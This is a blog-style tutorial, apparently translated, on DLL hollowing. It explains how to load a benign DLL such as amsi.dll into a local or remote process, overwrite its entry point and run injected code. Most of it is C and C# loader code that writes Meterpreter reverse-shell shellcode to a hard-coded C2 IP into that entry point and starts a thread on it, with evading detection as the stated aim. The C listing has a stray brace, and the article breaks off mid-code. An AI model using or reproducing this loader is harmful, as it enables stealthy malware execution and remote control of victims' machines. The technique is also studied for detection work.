Parsing of DLL Hollowing technology
Exploring hollowing technology, the focus is on DLL Hollowing(DLL hollowing). Unlike process hollowing technology, DLL Hollowing allows the target process to load a new DLL and then overwrite part of the DLL's content with malicious code to achieve concealed execution of malicious code.
Principle
DLL HollowingIt is a code injection technique where the attacker injects malicious code into the memory space of the current process or a remote process by loading a new DLL and overwriting part of its code.
The main goal of this method is to avoid easy analysis and detection of malicious code. For example, when the defender simply checks the file system, the loaded DLL and the process appear to be benign, without any obvious anomalies.
DLL Hollowing in the current process
Load the target DLL
an executable file (for exampleA.exe
) is started, it will attempt to load the target DLL into its own memory space. This is usually done throughLoadLibrary
and other API implementations.Parsing DLL header
After loading the DLL, the program parses the header information of the DLL to locate the injection position. Usually, after the entry point (DllMain
)is the target location for injecting malicious code.Overwrite the entry point
The program overwrites the malicious code to the entry point of the target DLL, thus controlling the execution logic of the DLL.Start a malicious thread
After the overwrite is complete, the program will create a new thread that executes from the malicious code as the starting point.
Below is a list of libraries loaded into the process before and after injection.amsi.dll
Is the newly loaded target library.
The original entry point of amsi.dll:
The entry point overwritten by the malicious code:
Used for obfuscating the Meterpreter Shellcode to overwrite the entry point.
DLL Hollowing in the remote process
Create a remote process
The program first creates a remote process (such asNotepad.exe
),and obtain the handle of the process.Load the target DLL
Use the process handle to indicate that the remote process loads the target DLL.Traverse loaded modules
The program traverses the remote process modules loaded, obtaining the memory address of the target DLL.Overwrite the entry point
Similar to the first method, by parsing the DLL header, the program locates and overwrites the entry point, injecting malicious code into the DLL.Start a remote thread
Once the overwrite is complete, the program will start a remote thread, with the entry point pointing to the overwritten malicious code.
The default DLL list of Notepad
Load maliciousamsi.dll
The DLL list after.
DLL Hollowing provides a means to conceal malicious code and hide execution behavior. Similar to other injection techniques, it can bypass simple defense measures, such as detection based on the parent-child process relationship.
Since the malicious code runs in a seemingly normal process and loads a benign DLL, initial checks are likely to overlook these anomalies. Even with in-depth analysis, it may take additional time to discover its true intent.
Code demonstration
C code implementation
In the C code example, the program loads the target DLL, writes malicious code to the DLL entry point, and creates a new thread to execute the malicious code.
Key process
Load the target DLL
Use LoadLibrary to load the target DLL (default is amsi.dll) and return its memory address. If loading fails, the program exits.Parse the DLL entry point
By parsing the MZ and PE headers, locate the DLL entry point address. This is the target address for overwriting malicious code.Overwrite the entry point
Modify the memory permissions of the DLL entry point to read and write, write malicious code and then restore memory permissions.Create a new thread
Use CreateThread to start a thread and execute the injected malicious code from the DLL entry point.
int main(int args, char *argc[]) {
char dllName[256] = {};
// Check command line arguments and set default DLL name
if (args != 2) {
printf("Usage:: dll_hollowing.exe <dll name>\n");
memcpy(dllName, "amsi.dll", 9);
}
memcpy(dllName, argc[1], strlen(argc[1]));
}
printf("C2 IP:\t\t192.168.200.220\nDll Name:\t%s\n", dllName);
// Decoding and copying of Meterpreter reverse shellcode
unsigned char buff[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00...";
int encoded_size = sizeof(buff);
unsigned char *buf = (unsigned char *)malloc(encoded_size);
memset(buf, 0, encoded_size);
memcpy(buf, buff, encoded_size);
// Load the target DLL
DWORD saveProtect = 0;
HMODULE hTargetDLL = LoadLibrary(dllName);
if (hTargetDLL == NULL) {
printf("[!] LoadLibrary failed to load %s\n", dllName);
return 0;
}
// Parse the DLL entry point
PIMAGE_DOS_HEADER mzHeader = (PIMAGE_DOS_HEADER)hTargetDLL;
PIMAGE_NT_HEADERS peHeader = (PIMAGE_NT_HEADERS)((char *)hTargetDLL + mzHeader->e_lfanew);
void *entryPointDLL = (void *)((char *)hTargetDLL + peHeader->OptionalHeader.AddressOfEntryPoint);
printf("%s DLL entrypoint address is (%p)\n", dllName, entryPointDLL);
// Modify memory permissions and overwrite the entry point
VirtualProtect(entryPointDLL, encoded_size, PAGE_READWRITE, &saveProtect);
memcpy(entryPointDLL, buf, encoded_size);
VirtualProtect(entryPointDLL, encoded_size, saveProtect, &saveProtect);
// Create a thread to execute malicious code
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)entryPointDLL, NULL, 0, 0);
printf("Thread Created\n");
// Wait for exit command
while (true) {
if (getchar() == 'q') {
printf("Received an exit command\n");
break;
}
}
printf("Exiting\n");
return 1;
}
C# code implementation
The C# code implementation is similar to the C code operation, but it introduces more utility classes (such as Win32) to operate DLL loading and memory operations. Its process is more readable and supports command line parameters to dynamically set the target DLL and C2 IP.
Key process
Parse command line arguments
Get the target DLL name and C2 IP address through the command line, if no parameters are provided, use the default value.Process the malicious shellcode
Decode the malicious shellcode and dynamically replace the C2 IP address in it with the value provided by the user.Load the target DLL
Use LoadLibrary to load the target DLL and parse its entry point.Overwrite the entry point
Modify the memory permissions of the entry point to read and write, write the malicious code, and restore memory permissions.Start a thread to execute malicious code
Use CreateThread to start a thread and execute malicious code from the overridden entry point.
unsafe class Program {
static void Main(string[] args) {
// Parse command line arguments
string c2_ips = args.Length >= 2 ? args[0] : "192.168.49.115";
string dll_name = args.Length >= 2 ? args[1] : "amsi.dll";
Console.WriteLine("[*] Using C2 IP: {0}, DLL Name: {1}", c2_ips, dll_name);
// Process the shellcode
byte[] encoded = new byte[460] { /* Shellcode */ };
byte[] buf = DecodeShellcode(encoded, c2_ips);
// Load the target DLL
IntPtr hTargetDLL = Utility.Win32.LoadLibrary(dll_name);
if (hTargetDLL == IntPtr.Zero) {
Console.WriteLine("[!] LoadLibrary failed to load {0}", dll_name);
return;
}
Console.WriteLine("[*] {0} Base Address: 0x{1:X}", dll_name, (long)hTargetDLL);
// Parse the DLL entry point
Utility.Win32.IMAGE_DOS_HEADER* mzHeader = (Utility.Win32.IMAGE_DOS_HEADER*)hTargetDLL.ToPointer();
Utility.Win32.IMAGE_NT_HEADERS64* peHeader = (Utility.Win32.IMAGE_NT_HEADERS64*)((long)mzHeader + mzHeader->e_lfanew);
IntPtr addressOfEntryPoint = new IntPtr((long)mzHeader + peHeader->OptionalHeader.AddressOfEntryPoint);
Console.WriteLine("[*] {0} EntryPoint Address: 0x{1:X}", dll_name, (long)addressOfEntryPoint);
/

评论已关闭